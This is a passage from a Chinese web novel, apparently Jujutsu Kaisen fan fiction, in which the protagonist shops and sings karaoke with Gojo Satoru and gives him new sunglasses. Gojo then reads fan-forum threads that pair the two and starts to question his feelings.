于是他忿忿扭头,想要转而用眼神直白的对始作俑者进行一个无声投诉。 ——结果,那双苍瞳刚转回来,就正对上始终在看他的羽取一真。 此刻, 窗外天色已然暗了下去, 霓虹灯飞掠好似流淌的璀璨星河,使那双黑瞳也倒映着不断跃动的温润浮光, 柔和极了,也专注极了。 五条悟不想承认…在这一刻,他的心跳停了半拍。 “……你在笑什么?” 他开口, 感觉自己说出来的话突然变得干瘪瘪的,像泄了气的皮球。 刚才那股打好腹稿、誓要让他矮自己一头的气势,此刻荡然无存。 而那双黑瞳的主人,却对着他微微歪了点脑袋,困惑着,好似在说[我没有笑啊?]。 在夏油杰那里完全失灵的眼神交流,五条悟一看一个准。 “还说自己没笑,”——他咕哝出声,“你的傻气都快实体化冲我扑面而来了,再假装冷酷的表情也挡不住。” 像只豆柴似的,害他动不动就想要上手摸一把。 再盯着羽取一真瞧上几秒,五条悟移开目光。 嗯,果然是只黑色品种的豆柴。 羽取一真看着五条悟一系列的反应,有点摸不着头脑。 “……?” 总感觉他被对方贴上了个很微妙的标签……应该不是错觉吧。 ………… 在经济发展陷入停滞的时期,东京的商业区域划分早已相对固定,繁华地段的店铺也不会频繁转手。 因此,十年后五条悟常去购物的店,羽取一真跟着十年前的五条悟过来,竟然还是那么几家。 但相比忙得没有多少个人时间、买东西几乎是扫一眼就直接打包结账的漂亮大悟,拥有更多时间的漂亮小悟喜欢慢慢逛,双手插兜,一件一件看过去。 而且,风格也不全是一周目的简约休闲造型,还喜欢买点酷酷的衣服。 顺带也给羽取一真买了好几件酷酷的衣服,版型都是大差不差的。 这就是年龄带来的审美差距吗…… 羽取一真拎着满手的购物袋,默默想道。 甚至险些因为过于猎奇而被悟塞过来一件全是洞洞加链条的上衣,好险。 “来试试这件——” 五条悟兴致勃勃,略俯身将其中一件衣服取下来时,顺手将滑到鼻尖的墨镜又推了回去。 羽取一真注意到了这点。 之前倚靠他肩膀休息的时候也是,墨镜似乎有点架不稳,一有大动作就很容易滑下来。 “等买完这件衣服,”羽取一真想了想,“我也回赠你一份礼物。” 一听到[礼物],五条悟就好奇起来了:“是什么?” 羽取一真:“先不告诉你。” “还保密?不是马上就能知道了嘛。” 五条悟笑着用手肘拱了下他,又勾着人脖颈,把羽取一真拉到镜子面前,让他试穿下手里的外套。 “是不是也打算给我买一件同样的衣服?哼哼,你小子,从制服上就暴露小心思了喔。” 能想到并成功通过自学微积分来将其应用到术式之中,五条悟的聪慧与敏锐都是独一档的,怎么可能注意不到这种小细节。 对此,羽取一真只是眨了下黑瞳,假装正专心穿着外套,没有听懂漂亮小悟在说什么。 但那双苍瞳自墨镜后漏了一半,始终灼灼盯着羽取一真看,把后者看得不得不开口回应。 “欸,是这样吗?” “……呜啊,演技超烂。” “…咳。” ——等五条悟潇洒付完那数不清多少个零的账后,便跟着羽取一真出店门,等着收那让他期待不已的礼物。 羽取一真带着五条悟,凭之前的记忆在店铺间穿行,直到站在那家眼镜店门前。 这是一周目时,悟带他来过的地方。 既然是悟经常关顾的店,至少说明这里的镜片和镜框,大概率是他用起来很中意的那种吧? 等羽取一真跨进店面时,五条悟已经睁大了苍瞳,立刻反应过来。 “咦,打算送我墨镜?” 羽取一真点头:“你现在这副墨镜,看你戴起来不太适配。” 可能是尺寸或配重稍微差了一点,平时就很容易滑下来。 “这么说的话,确实是有点啦。” 五条悟捏着镜腿,将那副墨镜摘下——圆溜溜的苍蓝猫瞳眨了眨,纯白睫羽随之扇出道极漂亮的弧度,宛若正落在湖面、翅翼徐徐收敛的白鹤。 “我来高专前其实没有戴墨镜的习惯,这副还是来上学前随手买的呢……在街上闲逛时突然看到的,感觉还挺合适就掏钱了。” 其实像这种圆镜片款的墨镜还挺少见的,大部分的墨镜款式都是椭圆或者近似于半圆,造型更加时尚且独特、镜框也是金丝或豹纹的那种。 他当时会买这副墨镜,就是看中了款式的与众不同。 当然啦,这副墨镜遮挡视线的效果很好,能够减轻[六眼]的压力也是关键因素之一! 听完解释的羽取一真心想果然,无论哪个年龄的悟都是这样的风格,全凭感觉喜好买东西,压根不在乎金钱。 基本可以总结成一句话——既不讲究也不将就。 “那正好,来挑一副吧?这里应该会有适合你的墨镜。” 他扫过柜台里摆满的各式镜框,对五条悟说道。 虽然他也可以直接拿着漂亮大悟买过的款式,和他说[就这副吧,你带起来肯定很合适]。 但就像人的审美并非数十年都一成不变那般,才15岁的漂亮小悟也会有属于他此时此刻的喜好和想法。 他是想要送一份回礼作为感谢,也不意味着要把一周目悟的喜好强行加给二周目悟。 “好啊!” 被送到心坎里的五条悟超级开心,几乎要哼出段轻快的曲调来——至于在出租车时,还想着[要反过来让对方心虚一次]的决心,此刻已经全然忘记了。 啊,问一真为什么会突然想要送他墨镜?那当然是他值得拥有一副新墨镜啦! 五条悟的嘴角翘得高高的,手肘撑在在柜台上,挨个挑过去。 另一边,羽取一真也对前来招待的老板开口说道。 “他的镜片,要特别定制的那种,遮光度越高越好。” 他将五条悟随手放在柜台上的墨镜递过去,做个样例。 “至少要比这个的遮光度还高。” “比这个还高啊……基本都是一片漆黑了喔,不会妨碍视线吗?” 老板拿过来试戴一下,啧啧称奇。 “没问题。” 五条悟点头接话,声音仍旧是轻盈的,透着肉眼可见的开心。 “哪怕完全看不见也可以——” “哈哈,完全看不见就有点糟糕了啊。” 比羽取一真记忆里年轻十岁的老板爽朗笑了两声,“不过嘛,你要的话也不是不能定制,大概等两天才能到。” “好耶!” 五条悟眯了眯苍瞳表示高兴,手指又点上了那副圆形镜片的镜框款式。 “我要这个!” 纯黑的细框,连镜腿也没有任何装饰,无论怎么看都是最普通的镜框款式——除了镜片部分依旧是圆圆的。 通常是老人家才会喜欢选择购买的款式,老板挺惊讶的确认了一次,才将这副镜框拿出来给他。 羽取一真倒觉得挺合适的——漂亮的白毛毛配上纯黑的墨镜所以对比度超强烈,浑圆的镜片更是俏皮得不行。 简而言之,对他是暴击。 而且,果然15岁的悟要更中意这种圆镜片的款式嘛,28岁的悟就更倾向于戴椭圆镜片了。 五条悟戴着照了照镜子觉得不错,又原地蹦跶了几下,然后一脑袋蹭在羽取一真肩膀,确定比之前那副稳固许多后,高兴高兴的决定就要它了。 能挑到悟喜欢的款式,羽取一真也心情愉快的结了账,约好两天后再来拿。 价格当然不便宜,但肯定比不上悟给他买的那么多衣服。 走出店铺后,五条悟的心情明显不是一般的好,勾着羽取一真的肩膀笑眯眯问接下来要去哪里。 杰和硝子还要一会儿功夫才到,如果动作快的话,他们还能再逛两家店哦! 羽取一真想了想,带他去了街角的咖啡店。 “吃着甜食等他们过来吗?哼哼,点子不错嘛。” 坐下来的五条悟刚扫了菜单,立刻举手。 “我要这个,咖啡蒙布朗!” “咖啡蒙布朗?”羽取一真好奇道,“是苦的吗?” “我也不清楚,” 手肘支在桌面的五条悟用掌根托着下巴,心情很好的小幅度晃着脑袋,眺望沿街的夜景。 “多尝试新款式嘛,我还挺喜欢吃蒙布朗来着。” “这样啊。”羽取一真点头。 毕竟悟确实热衷于品尝各种甜点……只要不是味觉猎奇的辣咖喱味,应该都没什么关系。 “你打算点什么?”五条悟也问他。 羽取一真怔了下,低头看向菜单。 最终,他给自己点了一份覆盆子乳酪蛋糕。 第84章 最后, 咖啡蒙布朗果然被悟吐着舌尖抱怨了“好苦”,然后偷偷挖走了羽取一真的半份覆盆子乳酪蛋糕,和他的蒙布朗做交换。 羽取一真只能假装欣赏风景, 纵容五条悟先是用勺子悄悄挖了一块, 放嘴里的瞬间眼睛发亮,紧接着又挖啊挖,发现一不留神就吃掉了半份后,心虚的拿自己的蒙布朗给他补上。 幸好羽取一真不怎么挑食——对于略苦的咖啡蒙布朗,他也适应良好的全部吃完了。 等夏油杰与家入硝子成功和他们碰头后,四人跑到附近的KTV, 大唱特唱了一晚上的卡拉OK。 五条悟不愧于他自己说的“超会”,不仅举着话筒整个人超来劲, 还唱得非常好听。 如果音响和收音能跟上, 甚至可以达到现场演唱会的程度。 羽取一真很配合地晃那个会叮铛作响的摇铃, 给他增加现场氛围。 相比之下, 羽取一真的发挥只能说是普通。 这个“普通”在于——他根本没有几首能完整唱下来的歌。 就算会唱,也只会唱歌曲的高丨潮部分, 其余部分只能跟着伴奏瞎哼哼。 很符合一般普通人的唱歌水准。 属于“要夸吗?也夸不出来。不夸吗?可又看得出他已经很努力了”的级别。 羽取一真交出话筒时,那副貌似依旧平淡的神情背后,可以称得上是大松了口气。 他在现实世界里都没去过KTV唱歌……御子柴想拖他去联谊也被推拒过好几次。 五条悟大概是看出了羽取一真的紧张,完全没有出声嘲笑他, 反而来回揉搓了下脑袋, 冲人露出一个灿烂的笑意。 和羽取一真待在一起时,他的心情总是会很好, 飘飘然的,宛若被拽着丝线的小猫风筝,特意没有绑木架的尾巴迎着春季的晴风, 还在空中一甩一甩,优哉游哉。 家入硝子接过了话筒,开始唱她点好的歌。 她的嗓音唱起歌来有一种略颓丧的暗哑味道,非常特别。 而夏油杰,明明在装扮上特立独行,扎着长发丸子头,额角留有单缕刘海,制服还是备受学校不良青睐的阔腿裤,去警察署都会引起接待警员的误会——但他唱的竟然是舒缓类型的歌曲。 “我还以为杰会唱重金属摇滚乐呢。” 五条悟附在羽取一真的耳朵边,跟他嘀嘀咕咕的吐槽。 因为音响的声音太大了,简直轰隆作响,五条悟下意识也把声音提高了些,好让话语的内容能清楚被羽取一真听见。 “……悟,你这是以貌取人。” 于是,夏油杰坐回来时,正好隐约听见了这句话——没有听全,但不妨碍他猜出对方想要表达的意思。 “欸——那你倒是不以貌取人一点啦,” 五条悟冲他做了个鬼脸。 “竟然会觉得一真超阴沉还对你有意见,哼哼,被害妄想犯了哦?” 羽取一真:“……” 超阴沉不太对,但有意见是真的。 夏油杰:“……” 要不是上次任务,他现在也依旧这么认为…… 但经过那次的[人偶袭击事件]任务,显然让夏油杰对羽取一真有了极大改观,甚至不介意被五条悟揶揄,而是耸肩笑了一下。 “所以,你也不能说我唱抒情歌有什么不对。” 作为同班、乃至同年级仅有的四位学生,他们竟然挺难得能有这样聚在一起玩的机会。 平常除了上课外的时间,大家总是会交替着出任务,就算组队,也不太可能出现需要四个人一起做一个任务的时候。 这样能唱唱歌、然后互相聊天,喝着果汁还要来玩碰杯的晚上,五条悟一直都格外高兴。 毕竟五条家待起来枯燥极了,又死板得很,就算他想跟同龄的族人交个朋友,他们也只会看见他[六眼]和[五条家下任家主]的标签,而后恪守规矩,不再接近。 他强行跑来高专读书,可就是为了享受这样肆意又放松的青春耶! 热闹的聚会一直持续到了深夜才结束,连末班公交都没了,只能打车回高专。 第二天还是需要上课的周一,除羽取一真外的三人都困得直打呵欠,被夜蛾正道盯了好几眼。 估计连夜蛾正道心底也在疑惑——上周末又没有任务给他们,怎么困成这副模样。 大体而言,往后几天都是按部就班的上课、实战训练以及一些积累经验的祓除咒灵任务。 有时是单人,有时两两组队,四个人随机打散再组合,据说是为了锻炼团体协作能力。 如此来了几次,羽取一真打开【委托】界面,发现夏油杰的信任度又涨了一点,变成了【71%/80%】。 就像好感度一样,信任度也是越到后面越难涨。 只从羽取一真和夏油杰完成了那次专门为他们设计的任务后,夏油杰明显对他友善了许多,实战对练时还会特意教他一些格斗技巧。 “如果在咒力的使用上是弱项的话,我推荐你加强格斗方面的锻炼。”夏油杰说,“根据我的观察,术师虽然能用咒力来加强身体素质,但往往在格斗技巧上会显得比较粗糙,更热衷于搭配术式使用。” 羽取一真欣然接受这个建议——他目前用不了术式,只能靠[黑闪]输出的话,确实该练一些近战搏击。 虽说在游戏里锻炼体术这件事听起来很奇怪,但他在发现锻炼确实有用后,自然也愿意将这件事排上日程。 而且,五条悟同样很擅长体术,甚至身体的柔韧性也非常好,即使是做下腰拉伸也轻轻松松。 “越是顶尖的术师,体术方面的磨炼越是必不可少。” 五条悟想了想,发现羽取一真往格斗的方向发展确实也是个不错的选择。不仅能自保,还容易打得敌人一个措手不及。 “如果不习惯赤手空拳的话,借助一些咒具也行。你有什么习惯使用的武器吗?” 羽取一真沉吟片刻,发现自己上周目除了手丨枪和拳头,也没有再用过其它武器了——至于现实世界,不好意思,他只有知识的力量。 “左丨轮丨手丨枪。” 五条悟:“…………” 除了术式是构筑,能凭空生成含有咒力子丨弹的术师外,没人会用这种武器吧??毕竟咒具又不是消耗品,怎么可能造出一堆子丨弹给他用…… 这小子以前都在玩些什么东西呢! “不行,你换一个。” 五条悟摆手和他解释完,“长矛啦、武士刀啦、金刚杵啦、流星锤啦,你想要的冷兵器都可以,这种的耐用性比较高,结构简单,能制造的工匠也多。” “这样啊……” 羽取一真认真考虑过后,吐出一个答案。 ………… 在这段时间里,那位教祖大人一直没了动静,连带酒见绫子也没再来骚扰他。 ——这也正常,毕竟对方又没有他这种能够将信任度量化的直观统计,怎么可能精准判断出这起事件到底有没有让对方完全信任他。 而且这种计谋要是反复来几次,傻子都能猜出有问题。 五条悟也戴上了他新定制的墨镜——虽说和之前的几乎没有什么差别,但对方明显高兴得很,连续几天和家入硝子还有夏油杰炫耀。 这可是他的好哥们一真送给他的哦! 对此,夏油杰眯了眯眼,很想摆出一个无奈的表情。 而再过几天,一本杂志样刊就送到了羽取一真和五条悟的手上,是津地智也特意开车送过来的。 “无论来几次都想说,你们的学校还真是够偏的啊,” 津地智也,“我还去搜了下,竟然是一所宗教性质的高专学校?完全想象不出来你们在里面上课的样子。” 毕竟这只是对外的说法啦,五条悟只能敷衍过去,超级期待的拆开杂志包装。 他和羽取一真的照片,赫然出现在了封面上。 “竟然是封面?”五条悟惊讶抬眼,“一开始不是只说是内页吗?” “确实本来打算是内页啦,”津地智也笑着说,“但是主编极力推荐你们上封面哦,说肯定会有很多读者买账的。” 五条悟抬了抬眉毛,突然想起他和羽取一真现在都忘记看对方发来的网址,说是能判断出[他们到底有多受欢迎的]。 不过,上次他逛街都没出现什么事情,应该就是普普通通吧。 五条悟收起杂志和津地智也道谢,顺便在回去的路上,用手机打开网址。 【谁懂啊家人们,这次是磕到真的了!】 一个偌大的标红标题,赫然出现在论坛顶部。 第85章 磕到真的了……嗯?什么意思? 五条悟有点呆住, 眨巴下苍瞳——当他再往下看时,发现类似这样起名的帖还不少。 【救命这是我能看到的吗】 【我都不敢相信这是官方放出来的片段】 【塞巴斯蒂安,三分钟之内, 我要他们的一切资料】 【cp人, cp魂,悟真cp是人上人】 【真悟!真悟万岁!!】 【都快来看看悟言真语吧!】 【纯天然白毛啊啊啊啊!!我爱白毛!!】 类似标题的帖子实在太多了,每次一刷新,又会有新的帖子被顶上首页,好似水族箱里不断流动的活水,数不尽的气泡宛若直白呐喊出的心意, 在浮起、破裂、又生成了更多。 五条悟仔细浏览着那些帖子的标题,注意力被吸引, 脚下的路越走越慢。 羽取一真也跟着慢下步伐, 仅是保证自己始终与他并肩走在这条铺着石砖的路上, 没有出声催促。 此刻已是枝叶繁茂、蝉鸣蠢动的初夏, 热烈的阳光洒落,在穿着白衬衫的五条悟身上好似被溅起的水花, 朦胧了层极其柔和的光晕。 连同那头纯白的、柔软的头发,尾梢如同他的性格那般,往各自方向支棱出格外活泼的弧度,又随着步伐一翘一翘, 仿佛挑起了几许温暖的阳光。 光是看着, 就能令那双黑瞳流露出独属于他那一份的柔和。 五条悟勉强刷完了那些最新的帖子标题,略一分神, 便能感知到对方的目光始终落在自己身上。 但这道目光背后所蕴含的情绪,既不似家里老头那般的期许,也并不是苛责, 更不是催促或索取。 他只是安静看着,就像一块石头被放在海边。 无论涨潮或退潮,无论那裹挟着纯白泡沫的蔚蓝海水是否有扑上那块石头,它都只是安静待在那里而已。 【就算是最冷的表情,看悟时的眼神也是软的】 ——这个帖子标题如此仓促的、突兀的浮现在了他的脑海。 正好这时要上台阶,没走稳的五条悟脚步一个踉跄,险些没拿稳夹在臂弯间的杂志,被羽取一真眼疾手快扶了一下。 五条悟:“…………” 想他堂堂[六眼],竟然还会有被台阶绊倒的一天! 还是因为看手机分神! “悟?” 旁边的羽取一真还在问他,“有紧急任务发邮件过来吗?” 不然很难解释为什么五条悟那么专心致志的看手机,以至于连脚下的路都没有注意。 羽取一真也忘记了之前津地智也发过来的网址。 毕竟对他来说,这只是一款游戏。 游戏里的人气再高,对他而言都只是一串数字,或者只是npc对他的反应不太一样。 例如有的游戏里存在声望系统,杀npc会降声望还被通缉,这时候,玩家去哪里都会引发npc的恐惧和戒备。 反之就是多刷那些宛若通马桶似的一系列打怪跑腿买东西送东西的支线任务,辛辛苦苦刷高声望,才能换来npc不会对玩家碎言碎语,再给点小钱和材料什么的,又累又麻烦。 但羽取一真压根不在乎自己的声望如何,连带也把那个网址的事情忘了个精光。 因此,被问到的五条悟哽住了。 在那一瞬间,也不知道到底是出于什么原因,但他就是下意识的不想让羽取一真看见这个论坛。 “没有啊,只是一些广告信息啦。” 五条悟若无其事咳了声,顺势将手机合上揣裤兜里。 “删啦删啦——别提这个了,我们先回去看看杂志内容怎么样!” 羽取一真仍然有点困惑,但还是答应了。 他们是在午休时跑出来的,现在回教室再坐会,正好能接着下午的课。 “锵锵——” 接受能力与心理素质都超强的五条悟一个蹦跶,跳进教室的同时展开手里的杂志,秀给他的另外两位同学看。 “是我和一真的杂志采访哦!” “呜哇……就是上周末去的那个吗,看起来还不错啊。” 家入硝子正趴在桌面睡觉,闻言从交叠小臂中抬起脑袋,不太精神的盯着封面瞧。 她刚被喊起来,还正犯着困呢。 “采访的内容呢?” 没什么午睡习惯的夏油杰在看书,也跟着开口问道,“会被提很刁钻的问题吗?” “那倒没有啦,都是些很普通的喜好问题。” 五条悟将举起的杂志收回来,哗啦啦翻着页直到他们采访的那篇。 “……啊。” “怎么了?” 羽取一真也凑过去看,发现是当时他们坐在沙发上接受采访时的照片。 确切的说,是他们中途回答一个问题时,摄影师进来问能不能拍一张采访时的照片,于是五条悟又靠在他肩膀、看着镜头比[耶]的姿势。 当时高汐美和说只是随便拍一下,未必会用上,所以就让他们随便摆姿势也行。 五条悟和羽取一真当时都相信了。 因此,照片里的他们显得格外放松,甚至五条悟双手都比着[耶],一个[耶]在他脸旁,一个[耶]被放在了没什么表情的羽取一真头顶。 “结果这张也被放上去了嘛。”五条悟说,“还有单人照也一边一个。” 采访的内容总共写了两页,中间是合照,两侧分别是他们的单人照片——拍这两张时,摄影师特意强调了姿势和表情,好让他们看上去都帅得不行。 尤其是那张机位自地面往上拍,而五条悟半弯下腰、自墨镜后漏出一点雾蓝的俯视,那份居高临下的似笑非笑,宛若一柄镂刻着繁复花纹的锐利剑刃,笔直插进羽取一真的心底。 他暗自决定等杂志发售后,自己必须要买上一本珍藏。 “这就是专业摄影师吗,拍的我都认不出来了。” 家入硝子也凑近了些,看见那张恣意骄傲的五条悟单人照。 “没想到你竟然还能摆出这样的表情呢。” 五条悟一听[没想到]这话,立刻不服气了。 “啊?我本来就很帅好不好!对吧?” 说到[对吧?]时,他转过头去找羽取一真确认,换来后者满脸严肃的点头。 “没错,帅到心坎里。” 这句话真心实意,漂亮小悟平时在高专或者休息玩乐时,总是表现得活泼又爽朗,连恶作剧也不过是偷偷往夏油杰的荞麦面里加勺砂糖的程度。 当然夏油杰也会回敬请他吃带咸口的甜点,例如海盐橄榄油味的奶油冰淇淋。 由于味道过于诡异且微妙,五条悟吃了一口就吐着舌头,把剩下的全塞给了羽取一真。 并且因为羽取一真和夏油杰竟然都真的能全部吃完,而露出了格外受到震撼的表情。 但这只是平时的五条悟。 在任务中的五条悟,总是利落又干脆,无论调查、索敌抑或战斗,都能立刻采取最高效率的解决方式,抬指间的苍瞳是一片结冰的湖蓝,以丝毫不留余地的架势将敌人抹消。 这是独属于五条悟的魅力时刻,是他的天赋、他的聪慧,他的努力,是他将一切学到的知识吸收为己用后,再陡然爆发出的刹那夺目光彩。 那些将他称为[怪物]的家伙,轻蔑他只是靠天赋的家伙,根本连仰望他的资格也没有。 羽取一真认真又强调了一句。 “平时也超帅的。” 收到连着两声夸夸,就好似有人撑腰般,五条悟立刻得意起来了,连腰板都骄傲的挺笔直。 “听见了没?这里可是大帅哥五条悟喔!” 家入硝子“哇啊”了声,露出一点好似被灯泡照到眼睛的表情。 夏油杰则默默打出一串“……”,完全不想说什么。 到底是这两个人完全没有自觉,还是他太敏锐? 总不可能是他猜错了……不会吧,这么明显,他自认观察力还挺仔细的来着。 “杂志什么时候发售?” 最后,他只好问了个无关紧要、但羽取一真相当在意的问题。 “好像是明天,”五条悟想了想,“听津地智也说,杂志社那边拍板多印了五、六十万份来着,也不知道能不能卖光呢。” “既然他们做了那样的决定,”夏油杰说,“应该有自信能卖完吧。” 毕竟他也是倾向于先做好事前准备,有把握再出手的作风类型。 明天啊…… 羽取一真决定去买一本。 而五条悟,他还惦记着手机里那个打开的论坛。 但现在,一真、硝子和杰都在,他要是再看就太危险了,容易被发现。 直到等晚上躺进被窝里,五条悟才又从被子里伸出个脑袋,左右张望了下,拿出那个亮着屏幕的手机。 明明宿舍里只睡着他一个人,也好似做贼心虚般,连打开网址的动作都显得喵喵祟祟的。 这次,五条悟不只是浏览帖子标题,还直接点进了仍旧挂在第一位的hot贴。 【谁懂啊家人们,这次是磕到真的了!】 1L(楼主):请去看这期的综艺节目好吗,求求家人们快去看,看完会回来感谢我的![综艺名字截图] 2L:这不是那个整蛊节目吗,基本就是靠艺人出糗来博取关注度的吧,电子榨菜水平。 3L:听说都是些过气艺人啦,要不就是连名字都叫不上来的小咖。这节目里能磕到什么? 4L:那我还挺喜欢搞笑节目的,我去看看! 5L:我回来了,卧槽,谢谢楼主。 6L:这么震惊?我也去看看。 7L:卧槽,谢谢楼主。 ……接下来是一排接龙的惊叹词加谢谢楼主,队形格外整齐,包括之后也是夹杂着各种语气词或感叹,五条悟的苍瞳微动,快速筛选不那么重复的信息,一目十行的往下翻。 136L:啊啊啊啊啊帅哥!!那个白毛帅哥和黑毛帅哥!! 139L:怎么会这么帅?为什么会有人这么帅??? 145L(楼主):很好,看来大家都理解了我这份激动的心情,那么接下来,我要开始分析嗑点了! 请看弱电流刚开始启动的时候,五条悟立刻转头去找羽取一真确认情况哦,这是条件反射的在担心吧? 另外还有羽取一真的反应,几乎在五条悟看过来的一瞬间就看回去了,注意力根本就一直都在五条悟身上啊! [什么弱电流,区区弱电流哪比得上对方重要.jpg] 167L:啊啊啊啊好香好香!! 190L:哇还有五条悟后来特意凑近羽取一真说话,你看他指尖的方向[截图]肯定是在关心羽取一真能不能承受得住! 215L:他后来还偷偷笑了呜呜呜笑得好好看,怎么会这么好看啊! 267L:耍主持人的时候也好帅!! 385L:羽取一真还很配合,超护短,真的磕到了…… 446L:还有五条悟挪开主持人话筒的时候,帅得我眼泪不争气的从嘴巴流出来,可恶啊一低头我的裤衩子怎么不见了! 447L:再一抬头,哇塞,五条悟和羽取一真的裤衩子也不见哩!正好do给我看! 448L:救命啊楼上又香又好笑hhh 472L(楼主):以及二人若无其事的看着主持人连滚带爬离开金属板,又默契对视的时候,全程没有眼神交流,但动作和神态都超级同步! 519L:我甚至觉得他们的衣服都是情侣款,你们看版型,一模一样! 587L:不是组合的队服吗? 612L:先不提总共两个人的组合,谁家的队服也不可能是同款纯白色衬衫+黑色休闲长裤吧?明显是他们自己的常服。 634L:啊啊啊,羽取一真和五条悟那种得到优胜也超级平淡的表情,好帅啊!! 694L:还以为能看到他们上杂志采访,怎么过了个广告回来,就听见主持人说让给了佐木杏理,人也不见了? 738L:主持人说是他们不想被打扰…… 867L:独家消息,请看这天的新闻报道[截图] 895L:还在奇怪为什么最后一段没上场,居然是去见义勇为?? 956L:据说当场逮捕到了杀人案的凶手,将他交给警察呢,不愧是我的新晋男神,好帅! 997L:有当时看见的内部人士说,那个凶手是他们部长,被他们打得老惨了,满脸是血被一路拖着从顶楼往下走,吓得她同事当场报警。 1058L:不愧是我老公,更帅了[星星眼] 1159L:[星星眼] 1260L:[星星眼] ……接着又是一排星星眼表情包,看得五条悟发出小声的笑,又抬手拉高被沿挡住,让它变得闷闷的,却仍透出藏不住的开心。 虽然被叫老公的感觉很微妙,但这么多人都夸帅这点,他当然是高高兴兴的认下来啦! 话说还是不太懂嗑到是什么意思,这篇帖子里写的那些内容他在当时就知道了嘛,他又不像一真那么呆。 五条悟索性退出来,又重新点了个【杂志采访图透】的标题。 他还挺好奇杂志采访的反馈——毕竟真的只是随便答了些问题,有些连隐私也算不上。 1L:喜报——他们真的接采访了!!拿到样刊了姐妹们,手机像素不高,将就着看[照片][照片][照片]。 6L:发出无意义的尖叫.jpg 12L:好好好好好,这两个人都帅死我吧呜呜呜! 25L:字有点看不清,什么问题回答了全部? 48L:问喜欢对方的哪里,两个人回答了全部! 62L:这还不在一起??喜欢到已经互相挑剔不出毛病来了吧这两位 79L:结婚!现在就给我立刻结婚!! 82L:还有回答饮食喜好那里,羽取一真说是被五条悟带着开始吃的,所以也变得很喜欢。我的天…… 93L:近期最深刻的记忆是第一次钓鱼到半夜后,用战利品做的鱼汤泡饭w 101L:最近想一起去旅游的地方是镰仓,还约好了要坐倒挂列车、打排球、捡贝壳和去祈愿树下许愿……救命,什么小情侣相处啊。 115L:用显微镜看见衣服的logo——是同款!![截图][截图] 117L:好好好,我就说他们上那期综艺节目穿的也是情侣装! ——看到这里,五条悟在心里默默反驳。 那次是脱了外套的高专制服啦,才不是情侣装! 而且这次也只是同一家服装店买的衣服而已……怎么也能被叫做情侣装呢! 还有坐倒挂列车、打排球、捡贝壳和许愿那些,不都是很正常的娱乐活动嘛,怎么就变成情侣相处了!要说真正的情侣相处,也应该是…… 应该是…… 五条悟的思绪到这里卡了壳。 他自小长大的地方根本没有情侣一说,为了保证五条家的血脉延续,尽可能多的诞生术师,基本都是由长老分配的族内通婚,安排双方见面,互相点了个头就算成家了。 包括他自己的父母,自从诞下[六眼]+[无下限]的他之后,即使地位也跟着提升一大截,却也再无法与他亲近。 在那个规矩太过严苛的家族里,父母作为术师的实力并不强大,被禁止参与对他的培育,能见到的日子亦随之逐年递减。 翻找过往的记忆,几乎仅剩下相处时所交谈的寥寥数语,比起关心,更似一板一眼的客套,是一套流程式的问答。 而从五条家跑出来散心闲逛的时间里,他也不会特意去观察街上的情侣们都在做什么啊。 五条悟越回忆,越是默默抬手捂上了脸,迷惘的苍瞳眨巴眨巴。 难道……真是他不知道这回事? 不可能吧??这些……不都是很普通的玩耍活动吗? 窗外的月影在时间的流逝中缓慢挪移,连虫鸣也暂且安静了下去,五条悟却没有半点要睡觉的意思。 他的目光炯炯,手指一滑,又点开标题是【当我们在推悟言真语时,我们到底在推什么】的帖子。 这个论坛里的内容,还有很多、很多。 ………… 第二天早上。 羽取一真敲了敲宿舍门,喊五条悟一起去上课。 笃笃笃——毫无反应。 嗯?悟还没醒吗? 羽取一真耐心等了一会儿,又敲了第二遍。 这次,他明显听见了类似于[噗通]的动静,好像有什么质地偏软的东西掉在了地上。 再过去片刻,门锁才被打开,露出一张没有戴墨镜、眼下还挂着浅淡青黑的困倦脸。 仔细看去,刚洗完脸的五条悟还有水珠挂在刘海的发梢上,随着眨眼又落在侧脸,继续留下一道蜿蜒的水痕,直至没入匆忙套在身上,略显凌乱的领口里。 羽取一真盯着那颗水珠,一时间走了神。 直到五条悟先开口。 “你来了啊。” 一听就是整夜没怎么睡,声音带着点哑,但还算稳……或者说,格外镇定。 羽取一真再度抬眼,发现那双望向他的苍瞳里,似乎带着某种相当微妙的审视与端详。 再对视片刻,那些异样的情绪似乎又消失了,仅剩下五条悟在捂着嘴打呵欠,含糊咕哝着好困。 羽取一真下意识问他:“什么游戏这么好玩?” 能让五条悟独自窝在宿舍里通宵,除了之前也有过的打游戏外,一时想不出别的可能。 五条悟:“…………” 被问倒的五条悟沉默走出一步,把自己的宿舍门带上。 顶着一头比以往翘得还要厉害的白毛,五条悟认真对着羽取一真说道,语气铿锵有力。 “什么叫打游戏,我是学习了一整晚。是学、习啦。” 羽取一真愣了下,立刻为自己的误会向他道歉。 “啊,抱歉。” 这下,反而是五条悟被哽住——忘记这小子是只对着他就超呆的黑豆柴了! 但要他坦白自己其实在通宵看悟真悟cp贴,甚至用上各种学术理论来分析羽取一真和他的微表情以及小动作之类…… 当事人之一的五条悟,说不出口。 “我又……咳嗯,我又没怪你。” 五条悟干巴巴出声,下意识想去拍羽取一真的肩膀,半途又因为那些帖子内容而刹住,转而整理了下自己的制服。 整套动作就像程序突然报了错,中间的转折突兀又僵硬,让羽取一真困惑。 幸好之后的悟就没有这种奇怪的动作了,他们先去食堂吃了顿早餐,接着来到教室,在位置上坐好。 “早啊。” “早上好。” “早。” “早上好喔。” 招呼打完,五条悟倒头一趴,就趁着上课前的时间开始补眠。 家入硝子看了眼困到不行的五条悟,又扫向他隔壁神情平静、正襟危坐的羽取一真。 两个人刚才一前一后进来,动作很正常,打招呼的语气也很普通。 然后,她对夏油杰轻轻摇了下头,示意自己没看出来。 夏油杰:“…………” 莫非真是他的感觉出了问题? 第86章 ……还是睡不着。 五条悟趴在桌面, 头埋在交叠的小臂里,整个大脑都有点懵懵的。 他的记忆力很好,昨晚看过的那些新名词在脑海里, 就像擅自盘旋在码头的海鸥一样, 完全无法忘记,甚至连想要忽视也极困难。 还有那些分析…… 他们真的互相喜欢吗,还是那种…那种超级特别的喜欢? 五条悟下意识觉得那些分析结果不太靠谱——他对一真可是完完全全的好哥们态度啊! 但一真对他……嗯……那就不好说了。 毕竟那些帖子的分析实在是很有道理嘛,比如一真看他的眼神啊,一些小动作啊,无意识露出的微表情啊……统统都分析得特别有道理嘛! 何况, 他还知道些帖子里的分析大师都不知道的细节呢! 比如——为什么一真只给他带伴手礼,不给其他人带呢? 再比如——为什么一真只陪他打游戏、钓鱼、逛街, 还送墨镜, 却不跟其他人做这些呢? 再再比如——为什么一真只和他有小秘密, 不跟其他人有小秘密呢? 能数出来的细节太多, 